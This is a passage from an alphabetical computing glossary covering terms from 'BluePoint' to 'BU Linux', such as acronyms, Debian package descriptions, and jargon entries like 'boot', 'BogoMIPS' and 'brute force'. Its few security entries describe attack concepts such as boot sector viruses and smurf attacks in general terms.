BluePoint, a leader in Chinese localized Linux software, provides Linux platform technology and Embedded Linux Solution. 
BluePoint Linux
BluePoint claims to be China's leading Chinese localized Linux software company. 
Bluetooth
A wireless technology that uses short-range radio frequencies to allow communication between many different devices. 
BMBF
BundesMinisterium fuer Bildung und Forschung (org.) 
BMBW
BundesMinisterium fuer Bildung und Wissenschaft (org.) 
bmconf
The installer and configurator of the Smart Boot Manager The Smart Boot Manager is a program which runs at boot time, and give you the ability to select which OS you want to run. It has a lot of functionality which haven't implemented by other boot managers, like scheduled default, boot from other hard disk than first, good privilege system with encrypted passwords, online configuration, etc. In this package you can find an installer and a configurator program too. With installer you can easily install the SBM, but the configurator may be complicated, and to end-users I think the online configuration is better. The configurator is good if you want to configure the Smart Boot Manager from scripts. 
BMDP
Bio-Medical Data Package 
BMECAT
Bundesverband Materialwirtschaft, Einkauf und Logistik CATalog data exchange format (XML), "BMEcat" 
BMFT
BundesMinisterium fuer Forschung und Technik (org.) 
BML
Bean Markup Language (Java) 
BML
Business Management Layer (TMN) 
BMOS
Bipolar Metal Oxide Semiconductor (IC) 
BMS
Basic Mapping Support (CICS) 
BMS
Basic Monitor System (OS, DEC, PDP 9, PDP 15) 
BMS
Broadcast Message Server (PCTE) 
BMT
Biel Mean Time (TZ, Internet) 
BMTA
Backbone Message Transfer Agent (MTA) 
bmtoa
bitmap editor and converter utilities for the X Window System 
BMUG
Berkeley Macintosh User Group (org., Apple, USA, user group) 
bmv
PostScript viewer for SVGAlib BMV is a frontend for GhostScript. Using BMV you can now preview your PostScript files comfortably. You can also use it for viewing rawPBM image files. It uses SVGAlib and it is intended for Linux users who cannot run X. It is particularly suitable for previewing PS files from dvips. It is small and fast. The Debian version of bmv is patched to include a rotate option and further keybindings. 
BMWI
BundesMinisterium fuer WIssenschaft und technologie (org.) 
BN
Bridge Number 
BNC
Baby N Connector (slang) 
BNC
Bayonet Neill Concelman [connector] 
BNC
Bayonet Nipple Connector (slang) 
BNC
Bayonet Nut Coupling ??? 
BNC
British Naval Connector 
bnc
IRC Session Bouncing Proxy BouNCe is a daemon designed to allow some people who do not have access to the net in general, but who do have access to another pc that can reach the net, the ability to BouNCe though this pc to IRC. 
BND
BundesNachrichtenDienst 
bnetd
Battle.Net server for Unix like systems The server currently implements most of the same functionality as the real Battle.Net servers. You can chat, play games, use / commands, and things like account passwords, user icons, add banners, and channel operators work too. It is by no means complete, though. More information can be found at the bnetd web site http://www.bnetd.org/. 
BNF
Backus-Naur Form (TTCN, ...) 
bnlib1
A multiple precision mathematics library. Assembly language routines are used to make this library very fast. 
BNP
Broadband Network Premises 
BNT
Broadband Network Termination (B-ISDN), "B-NT" 
BNU
Basic Networking Utilities (AT&T) 
BO
Back Orifice (CDC) 
BOA
Basic Object Adapter 
boa
Lightweight and High Performance WebServer Boa is a single-tasking HTTP server. That means that unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections. It internally multiplexes all of the ongoing HTTP connections, and forks only for CGI programs (which must be separate processes.) Preliminary tests show boa is capable of handling several hundred hits per second on a 100 MHz Pentium. 
bobo
Publish Python objects on web servers (command line version) 
bobot++
An IRC bot with scripting features. bobot++ is a robust IRC bot with many common bot features such as flood control, userlist and channel control, logging, but also intelligent ban/deban and channel mode settings. It also provides Scheme scripting features using Guile. 
BOCA
Borland Object Component Architecture (Borland) 
bochs
IA-32 (x86) PC emulator Bochs is a highly portable free IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Currently, bochs can be compiled to emulate a 386, 486 or Pentium CPU. Bochs is capable of running most Operating Systems inside the emulation including GNU, GNU/Linux, Windows. 
bock
Bootstrap-only compiler kit for a subset of Java(tm) BOCK is a prototype native compiler, originally intended to enable a Java(tm) development environment to be bootstrapped from a C-only environment. It was envisioned that its sole purpose in life would be to compile the forthcoming "Jackal" Java compiler. BOCK has, since then, gained functionality, and should soon be able to compile most non-graphical Java programs. Its lack of anything resembling error checking means that it won't be of much use for development, but it might be able to generate a reasonably fast binary version of your program. That said, BOCK is still very much in the pre-alpha testing stage. It is therefore unlikely to be of use to anyone except dedicated hackers and developers. Also included is "jcomp", a slightly more friendly front-end for bock, which compiles programs against the BOCK mini-library and compiles BOCK's C output to native code in one step. 
BOD
Business Object Documents (OAG) 
BOF
Birds Of a Feather (Usenix) 
bogl-bterm
Ben's Own Graphics Library - graphical terminal Ben's Own Graphics Library is a small framebuffer library, including basic widgets, support for text in multiple languages, and mouse handling. This package contains bterm, a utf-enabled framebuffer terminal. 
BogoMip
`BogoMips' is a contraction of `Bogus MIPS'. MIPS stands for (depending who you listen to) Millions of Instructions per Second, or Meaningless Indication of Processor Speed. 
BogoMIPS
/bo'go-mips/ n. The number of million times a second a processor can do absolutely nothing. The Linux OS measures BogoMIPS at startup in order to calibrate some soft timing loops that will be used later on; details at the BogoMIPS mini-HOWTO. The name Linus chose, of course, is an ironic comment on the uselessness of all other MIPS figures. 
bogosort
sorts or doesn't sort files or standard input bogosort sorts files or its standard input using the bogo-sort algorithm. It can also simply randomize lines in a file for you. 
BOM
Beginning of Message 
BOM
Byte Order Mark (Unicode) 
bombardier
The GNU Bombing utility This game is the same as the old bombardier game on Commodore Plus 4. This version supports hall of fame and more cities. 
bombermaze
A bomberman clone for GNOME, for 2-4 players It is a multiplayer action game in which players run around in a square-grid maze while dropping bombs and collecting power-ups. The bombs explode after a short time delay, taking out any nearby bricks and players. For maximum effect, bombs can be arranged so as to cause a chain reaction of explosions. The last player left is the winner. 
BONDING
Bandwidth ON Demand INteroperability Group (org., manufacturer, AIM) 
bonnie++
Hard drive bottleneck testing benchmark suite. It is called Bonnie++ because it was based on the Bonnie program. This program also tests performance with creating large numbers of files. Now includes zcav raw-read test program. A modern hard drive will have more sectors in the outer tracks because they are longer. The hard drive will have a number (often more than 8) of zones where each zone has the same number of sectors (due to the need for an integral number of sectors per track). This program allows you to determine the levels of performance provided by different zones and store them in a convenient format for gnuplot. 
bonobo
Bonobo is a library that provides the necessary framework for GNOME applications to deal with compound documents, such spreadsheet and/or graphics embedded in a word-processing document. 
bonobo
The GNOME Bonobo System. Bonobo is a set of language and system independent CORBA interfaces for creating reusable components (controls) and creating compound documents. The Bonobo distribution includes a Gtk+ based implementation of the Bonobo interfaces, enabling developers to create reusable components and applications that can be used to form more complex documents. 
bonsai
The famous Mozilla CVS query tool by web interface The Mozilla team made this tool to help following the life of CVS modules. Here is the Debian version of this tools. WARNING: This tool will not work out of the box. You will need to complete the install procedure according the /usr/share/doc/bonsai/README.debian.gz document. 
Bonzai Linux
Bonzai Linux has been built to offer a Debian based Desktop-OS that fits on a 180MB CD-R(W). The Distribution includes the current stable version of KDE and has been modified for easier installation. Version 1.5 was released May 20, 2003. Version 2.1 was released June 23, 2003. 
bookmarker
WWW based bookmark management, retrieval and search tool Bookmarker is a nice tool for people who have too many bookmarks, in too many different browsers, on too many different computers. It helps manage bookmarks throw categories and allow other people access or extent your bookmark database through a really simple http based interface. More information can be found at the bookmarker web site http://renaghan.com/bookmarker/ . 
bookmarks
The Debian bookmark collection This package is a large collection of bookmarks (weblinks), and shall constantly be updated and improved with your help. The German link collection for example is already very complete. The numerous links are most useful to everybody, but of course especially for newbies to find their way to the vast Internet resources. Although this bookmark collection lists all kind of resources (e.g. search engines, links to online dictionaries, etc), the majority of them are still computer and Linux oriented. This package also includes the Perl script bookmarks-convert that can convert different bookmark formats (netscape, lynx, html). 
bookview
Tcl/Tk based NDTP(Network Dictionary Transfer Protocol) client. BookView is a NDTP (Network Dictionary Transfer Protocol) client written in Tcl/Tk. It requires Tcl8.0jp/Tk8.0jp (`jp' means `Japanized version'). 
boolean
Expression-based system that uses the operators AND, OR, and NOT; operations are based on variables which can be 1 (true) or 0 (false). 
boot
The process of loading a computer's operating system. If your system is working properly, the operating system boots when the computer is turned on. 
boot
To 'boot' a computer is to start the operating system. A boot can be a "hard boot" or a "soft boot". A restart may be to the lowest level of the CPU's control program (BIOS), or slightly higher, depending on whether it is a hard or soft boot and the design of the computer system. In any case, the "operating system" is restarted from the beginning. 
boot
v.,n. [techspeak; from `by one's bootstraps'] To load and initialize the operating system on a machine. This usage is no longer jargon (having passed into techspeak) but has given rise to some derivatives that are still jargon. The derivative `reboot' implies that the machine hasn't been down for long, or that the boot is a bounce (sense 4) intended to clear some state of wedgitude. This is sometimes used of human thought processes, as in the following exchange: "You've lost me." "OK, reboot. Here's the theory...." This term is also found in the variants `cold boot' (from power-off condition) and `warm boot' (with the CPU and all devices already powered up, as after a hardware reset or software crash). Another variant: `soft boot', reinitialization of only part of a system, under control of other software still running: "If you're running the mess-dos emulator, control-alt-insert will cause a soft-boot of the emulator, while leaving the rest of the system running." Opposed to this there is `hard boot', which connotes hostility towards or frustration with the machine being booted: "I'll have to hard-boot this losing Sun." "I recommend booting it hard." One often hard-boots by performing a power cycle. Historical note: this term derives from `bootstrap loader', a short program that was read in from cards or paper tape, or toggled in from the front panel switches. This program was always very short (great efforts were expended on making it short in order to minimize the labor and chance of error involved in toggling it in), but was just smart enough to read in a slightly more complex program (usually from a card or paper tape reader), to which it handed control; this program in turn was smart enough to read the application or operating system from a magnetic tape drive or disk drive. Thus, in successive steps, the computer `pulled itself up by its bootstraps' to a useful operating state. Nowadays the bootstrap is usually found in ROM or EPROM, and reads the first stage in from a fixed location on the disk, called the `boot block'. When this program gains control, it is powerful enough to load the actual OS and hand control over to it. 
Boot Disk
A diskette (floppy) containing enough of an operating system (such as Linux) to boot up (start) the computer and run some essential programs from the command line. This may be necessary if the system was rendered non-bootable for some reason. A boot disk can be used to partition and format the hard drive, restore the Master Boot Record, or copy specific files, among other things. 
boot diskette
A diskette that loads, or boots, a computer system.
boot loader
Software that is stored on the master boot record of a bootable storage disk; can load one or more operating systems by reading file system information or through a pointer to a disk partition containing operating system files. 
boot partition
The partition on a disk where the /boot directory is mounted. The boot partition contains the operating system kernel, as well as critical files needed during the boot process. 
Boot sector
The first track on an IBM PC-comptible hard disk or floppy disk (track 0). During the boot process, read-only memory (ROM) tells the computer to read the first block of data on this track and load whatever program is found there. If system files are found, they direct the computer to load MS-DOS. 
boot sector (boot record)
The first sector on a driver where the operating system will bootstrap from. Key point: Until macro viruses came along, boot sector viruses where the most common variant. They spread through companies via floppy disks. Users would leave floppy disks in the drive and when the computer restarted, it would attempt to boot from the floppy. This would run the virus, which then infected the boot sector on the hard drive. Any further floppies plugged into the system would then be infected by the virus. Countermeasures: I worked at a company with anal anti-virus procedures (anti-virus on all desktops, regular wiping of floppy disks). It was never able to completely free itself from the boot sector virus problem; one of the viruses was never successfully eradicated from the company. My own personal policy is to disconnect the floppies on 90% of the machines, and disable floppy bootup on the remaining machines. 
Boot sequence
The order in which computers basic input output system (BIOS) searches disk drives for operating system files. Unless programmed otherwise, IBM PCs and compatibles look for the operating system on drive A first, then search drive C. To speed up your computers boot procedure, you can use the BIOS setup program to make it search drive C first. 
bootcd
run your system from cd without need for disks. Copy your running Debian System on CD with the command bootcdwrite. If your system has no CD-Writer you can build a bootcd via NFS on a remote System with CD-Writer. When you run your system from CD you do not need any disks. All changes will be done in ram. To reuse this changes at next boottime you can save them on FLOPPY with the command bootcdflopcp. If booting from your CD-drive is not supported, booting from FLOPPY is possible. It is possible to install a new system from the running CD with the command bootcd2disk. Bootcd2disk can also find a target disk, format it and make it bootable automatically. 
bootdisk
a miniature, self-contained Linux system on a floppy diskette. 
bootE Linux
bootE Linux is yet another minimalist (i386) Linux distribution and is contained entirely on a single floppy disk. It supports only single user mode, and is intended as a repair/rescue/emergency distribution. Initial version 0.10 was released April 18, 2002. Version 0.20-r1 was released February 19, 2003. A floppy-based distribution. 
bootp
bootp/DHCP server This is a server for the bootp protocol; which allows network administrator to setup networking information for clients via an /etc/bootptab on a server so that the clients can automatically get their networking information. While this server includes rudimentary DHCP support as well, we suggest using the dhcp package if you need DHCP support, as it is much more complete. 
bootp (boot protocol)
This relative ancient protocol facilitates booting devices ("clients") from a network server rather than their local hard-disks (such as diskless workstations). In this configuration, the bootp protocol configures the diskless device with its IP configuration information as well as the name of the file server. At this point, the client shifts to TFTP to download the actual files it will use to boot from. Key point: DHCP is simply an extension on top of bootp. This is important because without an IP address, clients cannot reach bootp servers that reside across routers. Virtually all routers have an extension for bootp forwarding that fixes this issue. Since DHCP had the same requires, the designers just stuck it inside bootp packets rather than requiring yet another change to the routing infrastructure. 
bootparamd
Boot parameter server. bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs. 
bootpc
bootp client This is a boot protocol client used to grab the machines ip number, set up DNS nameservers and other useful information. 
bootsplash
This package contains the scripts and pictures visible when booting a Mandrake kernel. They are automatically installed when an initrd is generated by mkinitrd. 
bootstrap
The ROM routine used to load the OS is often known as the 'bootstrap', from the old expression "pull yourself up by your own bootstraps". 
Bootstrap Protocol (bootp)
A TCP/IP protocol allowing a diskless workstation to find its own IP address at startup. 
BOPS
Billion Operations Per Second 
BORSCHT
Battery, Overvoltage, Ringing, Signalling, Coding, Hybrid, Testing [functions] (PBX) 
BOS
Basic Operating System (AIX, IBM) 
BOS
Batch Operating System (OS, Honeywell) 
BOS360
Basic Operating System / 360 (OS, S/360, IBM), "BOS/360" 
BOS5
Business Operating Software /5 (OS), "BOS/5" 
BOSS
Basic OS Software for BASIC (OS, BASIC) 
bot
an IRC or MUD user who is actually a program. On IRC, typically the robot provides some useful service. Examples are NickServ, which tries to prevent random users from adopting nicks already claimed by others, and MsgServ, which allows one to send asynchronous messages to be delivered when the recipient signs on. 
BOT
Back On Topic (slang, Usenet, IRC) 
BOT
Beginning Of Tape 
BOT
Broadcast Online TV 
BOT
Build, Operate and Transfer (networke) 
Bot
Short for Robot. A program designed to search for information on the Internet with little human intervention. 
Boten GNU/Linux
Boten GNU/Linux is intended for home users and provides a fully-localized GNU/Linux environment in Hebrew. It's especially made for those new to Linux, though aimed to please all users, experts and newbies alike. It's currently based around the 2.4 Linux kernel series (USB supported) and the GNU C Library version 2.2.5 (libc6 ELF). Boten GNU/Linux could be installed in a UMSDOS partition as well and can run on 386 systems all the way up to the latest x86 machines. Version 9.5 h1/i1 was released April 21, 2003. 
bottlerocket
Utility to control X10 Firecracker devices A command-line utility to interact with the Firecracker version of X10's home control devices. Also included is rocket launcher, a graphical frontend to bottlerocket. If you want this functionality you should have wish installed 
bounce
This describes the action of an undeliverable email message being returned to the sender. In the popular pine program the term bounce actually refers to the redirection of an email. 
Bounced message
An electronic mail message that comes back to the sender after a failed delivery attempt. The failure may be due to an incorrectly-typed e-mail address or to a network problem. 
Bourne Shell
A popular command line shell offering many advantages over the DOS command prompt. (Also, see Bash and Korn Shell.) 
Bourne Shell
The Bourne shell is the most widely used Unix shell.It prompts you with $.Its program name is sh. 
boust
A tcl/tk text-reader that formats the file in boustrophedon This is a tcl/tk text-reader that formats the file in boustrophedon (a reading- / writing- style that alternates direction every line). Unlike conventional left-to-right styles of reading/writing, boustrophedon does not require the eye (or the hand) to whip back to the margin whenever the end of a line is reached. In boustrophedon, the horizontal position does not change; one simply goes down to the next line and continues. 
boxes
Textmode box- and comment drawing filter. Boxes is extremely configurable filter for adding and removing ASCII art (comments, for example) around chunks of text. Most modern text editors support filtering text through external filters. Boxes is such a filter. 
BP
Base Pointer [register] (CPU, Intel, assembler) 
bpalogin
login client for the Telstra Bigpond Cable Network (Australia) bpalogin is an open source login client for the Telstra Bigpond Cable Network in Australia. It is neither written nor supported by Telstra or Bigpond. It is both simple to use and stable. Unlike the standard client it does not crash, reconnects when there is a network problem, is available for most operating systems, can run as a service on WinNT/2k and comes with source 
BPB
BIOS Parameter Block (BIOS, DOS, HDD, FDD) 
BPC
Broadcast Personal Computer (PC) 
BPD
BankParameterDaten (DDBAC) 
BPDU
Bridge Protocol Data Unit (PDU) 
BPF
Berkeley Packet Filter (BSD, Unix) 
BPI
Bits Per Inch (HDD) 
BPIP
Best Play for Imperfect Player (NEC) 
BPL
Bytes Per Line 
bplay
Buffered audio file player/recorder The bplay package provides a simple command-line utility for playing and recording audio files in raw sample, VOC and WAV formats. To use this program you need a soundcard of some kind and the appropriate driver configured into your kernel. When run the program creates two processes which share a memory buffer. It does reading/writing on the disk and the sound device simultaneously, in order to be less liable to `pause' because the disk is too slow or too busy. 
BPN
Back-Propagation Net (NN) 
bpowerd
monitor UPS status for Best Patriot power supplies bpowerd is used to monitor a serial port for the status of a Best Patriot power supply. It runs as a daemon and sends status information to the system log. bpowerd can detect powerfail, battery-low, and power-restore condi- tions. The status is communicated to init via /dev/initctl. bpowerd can also send a signal to the power supply's inverter by using the -k switch. 
BPP
Bits Per Pixel 
BPP
Bridge Port Pair 
BPS
Bits Per Second (MODEM) 
bps (Bits-Per-Second)
A measurement of how fast data is moved from one place to another. A 56K modem can move about 57,000 bits per second. 
BPSK
Bi-Phase Shift Keying [modulation] 
BPU
Branch Prediction Unit (CPU, MMX, Intel) 
BPU
Branch Processing Unit (CPU) 
BPV
BiPolar Violation [error event] (DS1/E1, DS3/E3) 
BR
Boundary Representation (CAD, CAM) 
brahms
Graphical music editor and MIDI sequencer Brahms is a multi-track graphical music editor. It allows score and piano-roll notation, multi-part tracks and drum-tracks. Brahms is part of the KDE project. It uses the KDE sound daemon (aRTs) for MIDI input and output. 
BRaiLleSPEAK
BRLSPEAK is a Braille and Speech oriented mini-distribution of Linux for the visually impaired. Support for English, French, and Dutch (Netherlands). A 'special purpose/mini' distribution. 
BRAIN
Berlin Research Area Information Network (network) 
BRAM
Broadcast Recognition Access Method (MAC) 
BRAP
Broadcast Recognition with Alternating Priorities (MAC) 
brazilian-conjugate
Brazilian Portuguese verb conjugator This package contains a interactive program (conjugue) capable of conjugating portuguese verbs, as spoken in Brazil. The upstream version is numbered 1.0, but as it is distributed together with the Ispell dictionary for Brazilian Portuguese, it has the same version number as the ibrazilian package for Debian. See http://www.ime.usp.br/~ueda/br.ispell/ for more information. 
BRB
Be Right Back (slang, Usenet, IRC) 
brec
buffered sound recording/playing 
BREW
Binary Runtime Environment for Wireless (CDMA, Oualcomm) 
BRF
Benchmark Reporting Format (PLB) 
BRI
Basic Rate Interface (ISDN) 
BRI
Bridge Router Interface ??? (Banyan, VINES) 
bridge
Any device that connects two physically distinct network segments, usually at a lower network layer than would a router. 
bridge-utils
Utilities for configuring the Linux 2.4 bridge. This package contains utilities for configuring the Linux ethernet bridge. The Linux ethernet bridge can be used for connecting multiple ethernet devices together. The connecting is fully transparent: hosts connected to one ethernet device see hosts connected to the other ethernet devices directly. 
BRIEF
Basic Reconfigurable Interactive Editing Facility 
BRIM
Bridge/Router Interface Module 
brltty
Access software for a blind person using a soft braille terminal BRLTTY is a daemon which provides access to the Linux console (text mode) for a blind person using a soft braille display. It drives the braille terminal and provides complete screen review functionality. The following display models are supported: * Alva (ABT3xx/Delphi) * BrailleLite (18 or 40) * BrailleNote 18/32 * Tieman CombiBraille * EcoBraille displays * EuroBraille displays * HandyTech * LogText 32 * Tieman MultiBraille * MDV braille displays * Tieman MiniBraille * Papenmeier * TSI (PowerBraille/Navigator) * Vario Emul. 1 (40/80) * Vario Emul. 2 * Videobraille * Tieman Voyager 44/70 (USB) * VisioBraille 
broadcast
a type of communication between hosts (or computers) on a network where a computer can talk to all computers. See multicast and unicast. 
broadcast
Packets that transmit to all hosts on the network. 
broadcast
The term "broadcast" is generic and is used in many different area. The origin of the term obviously means to cast out broadly, such as a radio broadcast. Subdefinition: Ethernet has broadcast domains, allowing you to partially sniff some data from your neighbors, and possibly subvert it. Typical protocols that can be sniffed and subverted in this manner are: ARP, NetBIOS, MSBROWSE, rwho, bootp/DHCP, SNMP. An Ethernet broadcast address is "FF:FF:FF:FF:FF:FF". Subdefinition: The Internet protocols TCP/IP support a feature known as a directed broadcast, which allows a remote person the ability to send a single packet to an entire subnet. This will then take advantage of the Ethernet broadcast domain once it reaches its destination. Attacks like smurf take advantage of this. A directed broadcast address looks something like 192.0.2.255, where the last integer "255" means "all devices on subnet 192.0.2.x". Subdefinition: The special IP address of "255.255.255.255" is the local broadcast, and causes the packets to be sent to everyone locally, but not across the Internet. 
broadcast domain
A local network where broadcasts can be seen. Typical broadcast domains include cable-modem networks, colocation facilities, and Ethernet networks. The problem with broadcast domains is that a passive packet sniffer can discover vast amounts of information about the structure of the network. Attackers on the same broadcast domains can also broadcast packets that break into their neighbors, such as in ARP redirects. 
Broadcast message
In a network, a message to all system users that appears when you log in to the system. For example, broadcast messages are used to inform users when the system will be shut down for maintenance. 
brown-paper-bag bug
n. A bug in a public software release that is so embarrassing that the author notionally wears a brown paper bag over his head for a while so he won't be recognized on the net. Entered popular usage after the early-1999 release of the first Linux 2.2, which had one. The phrase was used in Linus Torvalds's apology posting. 
brownout
A period of low-volatage electrical power caused by unusually heavy demand, such as that created by summertime air-conditioner user. Brownouts can cause computers to operate eractically or crash, either of which can result in data loss. If brownouts frequently cause your computer to crash, you may need to buy a line-interactive uninterruptible power supply to work with yout machine. 
Browser
A Program which allows your computer to download and display documents from the World Wide Web. The two most popular browsers are Internet Explorer and Netscape Navigator. It is also a software that allows users to access and navigate the World Wide Web. Some Web browsers, such as Mosaic and Netscape, are graphical. Lynx is a text-based browser. From Glossary of Distance Education and Internet Terminology
browser
n. A program specifically designed to help users view and navigate hypertext, on-line documentation, or a database. While this general sense has been present in jargon for a long time, the proliferation of browsers for the World Wide Web after 1992 has made it much more popular and provided a central or default techspeak meaning of the word previously lacking in hacker usage. Nowadays, if someone mentions using a `browser' without qualification, one may assume it is a Web browser. 
browser
See Web browser. 
browser-history
User daemon that tracks URLs looked at and logs them. Browser-history came from the will to overcome a Netscape bug: there is no global history, and if you close a window, its whole history is lost. For people browsing lots of sites, having the possibility of backtracking to where one has been before means that you don't have to put everything in your bookmarks file. If you are not sure if a site may be worth remembering, don't add it in your bookmarks. If you need it later, just browse your history files. It works with: Netscape Navigator, Arena, and Amaya. Support for `browser-history' can easily be added to other browsers, provided you can program and have the browser sources. A manual page and simple documentation will be installed in /usr/share/doc/browser-history/browser-history.html, along with a simple CGI interface to grep the history log and display the result. The optional CGI program requires `cgiwrap' or Apache configured with `suexec'. 
BRS
Big Red Switch 
BRTB
Berlin Regional TestBed (WIN) 
Brutalware
Brutalware fits on two floppy disks with TCP/IP networking (currently only bootp-based) and one supplementary floppy with tons of hacking utilities. Great distribution for use in school labs and Internet cafes. Brutalware Linux 1.1 is a libc5 based 2.0.36 Linux distribution. A floppy-based distribution. 
brute force
adj. Describes a primitive programming style, one in which the programmer relies on the computer's processing power instead of using his or her own intelligence to simplify the problem, often ignoring problems of scale and applying naive methods suited to small problems directly to large ones. The term can also be used in reference to programming style: brute-force programs are written in a heavyhanded, tedious way, full of repetition and devoid of any elegance or useful abstraction (see also brute force and ignorance). The canonical example of a brute-force algorithm is associated with the `traveling salesman problem' (TSP), a classical NP-hard problem: Suppose a person is in, say, Boston, and wishes to drive to N other cities. In what order should the cities be visited in order to minimize the distance travelled? The brute-force method is to simply generate all possible routes and compare the distances; while guaranteed to work and simple to implement, this algorithm is clearly very stupid in that it considers even obviously absurd routes (like going from Boston to Houston via San Francisco and New York, in that order). For very small N it works well, but it rapidly becomes absurdly inefficient when N increases (for N = 15, there are already 1,307,674,368,000 possible routes to consider, and for N = 1000 -- well, see bignum). Sometimes, unfortunately, there is no better general solution than brute force. See also NP-. A more simple-minded example of brute-force programming is finding the smallest number in a large list by first using an existing program to sort the list in ascending order, and then picking the first number off the front. Whether brute-force programming should actually be considered stupid or not depends on the context; if the problem is not terribly big, the extra CPU time spent on a brute-force solution may cost less than the programmer time it would take to develop a more `intelligent' algorithm. Additionally, a more intelligent algorithm may imply more long-term complexity cost and bug-chasing than are justified by the speed improvement. Ken Thompson, co-inventor of Unix, is reported to have uttered the epigram "When in doubt, use brute force". He probably intended this as a ha ha only serious, but the original Unix kernel's preference for simple, robust, and portable algorithms over brittle `smart' ones does seem to have been a significant factor in the success of that OS. Like so many other tradeoffs in software design, the choice between brute force and complex, finely-tuned cleverness is often a difficult one that requires both engineering savvy and delicate esthetic judgment. 
BS
BackSpace 
BS
BackSpace one record (IBM, VM/ESA, CP) 
BS
Banded Signaling 
BS
Base Station (LA, GSM, mobile-systems) 
BS
BetriebsSystem 
BS2000
BetriebsSystem 2000 (SNI, OS) 
BSA
Backbone Service Area 
BSA
Business Software Alliance (org., manufacturer) 
BSAM
Basic Sequential Access Method (IBM, MVS, SAM) 
BSC
Balanced ScoreCard 
BSC
Base Station Controller (BS, BTS, GSM, GPRS, mobile-systems) 
BSC
Binary Synchronous Coded 
BSC
Binary Synchronous Communications [protocol] (IBM) 
BSCM
Binary Synchronous Communications Module 
BSD
Berkeley System / Software Distribution (manufacturer, Unix, OS) 
BSD (Berkeley Software Distribution)
A version of the UNIX operating system that was developed and formerly maintained by the University of California, Berkeley. BSD helped to establish the Internet in colleges and universities because the distributed software included TCP/IP. 
BSD (Berkeley Software Distribution) UNIX
UNIX distribution from University of California at Berkeley. (Also, see FreeBSD.) 
bsd-ftpd
Port of the OpenBSD FTP server This is a GNU/Linux port of the FTP server from OpenBSD. Consequently, it is believed to be quite secure. Other interesting features are support for IPv6 and an internal ls. 
bsdgames
collection of text games from BSD systems This is a collection of some of the text-based games and amusements that have been enjoyed for decades on unix systems. Includes these programs: adventure, arithmetic, atc, backgammon, battlestar, bcd, boggle, caesar, canfield, countmail, cribbage, fish, gomoku, hangman, hunt, mille, monop, morse, number, pig, phantasia, pom, ppt, primes, quiz, random, rain, robots, sail, snake, tetris, trek, wargames, worm, worms, wump, wtf 
BSDI
Berkeley Software Design Incorporated (manufacturer) 
BSDL
Berkeley/San Diego License 
bsdmainutils
More utilities from FreeBSD. This package contains lots of small programs many people expect to find when they use a BSD-style Unix system. Included are: banner, ncal, cal, calendar, col, colcrt, colrm, column, from, hexdump, look, lorder, ul, write. This package used to contain whois and vacation, which are now distributed in their own packages. Also here was tsort, which is now in the "textutils" package, version 2.0-1 and later. 
bsdutils
Basic utilities from 4.4BSD-Lite. This package contains the bare minimum number of BSD utilities needed to boot a Debian system. You should probably also install bsdmainutils to get the remaining standard BSD utilities. Included are: logger, renice, replay, script, wall 
bsh
A Java scripting environment. BeanShell is a small, free, embeddable, Java source interpreter with object scripting language features, written in Java. BeanShell executes standard Java statements and expressions, in addition to obvious scripting commands and syntax. BeanShell supports scripted objects as simple method closures like those in Perl and JavaScript(tm). You can use BeanShell interactively for Java experimentation and debugging or as a simple scripting engine for you applications. In short: BeanShell is a dynamically interpreted Java, plus some useful stuff. 
BSI
Bentley Systems, Incorporated (manufacturer) 
BSI
British Standards Institute (org., UK) 
BSI
Bundesamt fuer Sicherheit in der Informationstechnik Org., Germany 
BSIC
Base Station Identification Code (BS, BCCH, GSM, mobile-systems) 
bsign
Corruption & intrusion detection using embedded hashes This package embeds secure hashes (SHA1) and digital signatures (GNU Privacy Guard) into files for verification and authentication. Currently, target file types are all ELF format: executables, kernel modules, shared and static link libraries. This program has functionality similar to tripwire and integrit without the need to maintain a database. 
BSMTP
Batched Simple Mail Transfer Protocol (SMTP) 
bsmtpd
Batched SMTP mailer for sendmail and postfix This package adds a new "mailer" named bsmtp to sendmail or postfix, which allows you to use batched SMTP as protocol. BSMTP is used in UUCP environments and allows to transport many mails as a (compressed) batch instead of transporting every single mail. So bsmtp is an alternative to rmail. Special features of this bsmtp package: - Completely written in C. - Configurable batch size (automatically sends batch to uux when a defined size is reached). - Creates backups of all outgoing batches (and removes them regularly) - Works with sendmail and postfix. 
BSP
BetriebsSystemProzessor (Windows NT, SMP) 
BSP
Binary Space Partioning [tree] 
BSR
BootStrap Router (PIM, RP, Multicast) 
BSS
Base Station System / Subsystem (GPRS, BSC, BTS) 
BSS
Basic Service Set (WLAN) 
BSS
Basic Synchronized Subset 
BSS
Block Started by Symbol (IBM, assembler, Unix) 
BSS
Block Storage Segment 
BSS
Broadband Switching System 
BSSMAP
Base Station System Management Application Part (RR, BS, MTP, GSM, mobile-systems) 
BST
Bering Strait Time [-1100] (TZ) 
BST
Brazil Standard Time [-0300] (TZ) 
BST
British Summer Time [+0100] (TZ, UK) 
BSVC
Broadcast Switched Virtual Connections (ATM) 
BT
Baghdad Time [+0200] (TZ) 
BT
Bering Time [-1100] (TZ) 
BT
BlueTooth 
BT
British Telecom (org.) 
BT
Burst Tolerance 
BT
Bus Terminator 
BTAM
Basic Tape Access Method (BS2000) 
BTAM
Basic Telecommunications Access Method (IBM) 
BTB
Branch Target Buffer (CPU) 
BTC
Biting The Carpet (slang, Usenet) 
BTDT
Been There, Done That (slang, Linux, Kernel) 
BTE
Broadband Terminal Equipment (B-ISDN), "B-TE" 
BTL
Bell Telephone Laboratories 
BTLB
Block Translation Look-aside Buffer (CPU) 
BTM
Batch Time-sharing Monitor (OS) 
BTM
Benchmark Timing Methodology (PLB) 
BTOA
Binary TO ASCII (ASCII) 
BTRON
Business TRON (TRON) 
BTS
Base Transceiver Station entities (BCF, BS, GSM, GPRS, mobile-systems) 
BTS
Bug Tracking System 
BTU
Basic Transmission Unit (IBM, SNA) 
BTW
By The Way (slang, Usenet, IRC) 
btyacc
Backtracking parser generator based on byacc btyacc is a hacked version of the original Berkeley "byacc". The main change to byacc is the addition of backtracking code, allowing you to try both alternatives in case of shift-reduce or reduce-reduce conflicts. As long as no backtracking takes place, speed is comparable to bison. Additional features: - enhanced support for storing of text position information for tokens - closes the potential *yacc/bison memory leak during error recovery - preprocessor directives like %ifdef, %include - C++ friendly Related packages: bison, byacc, antlr 
BU Linux
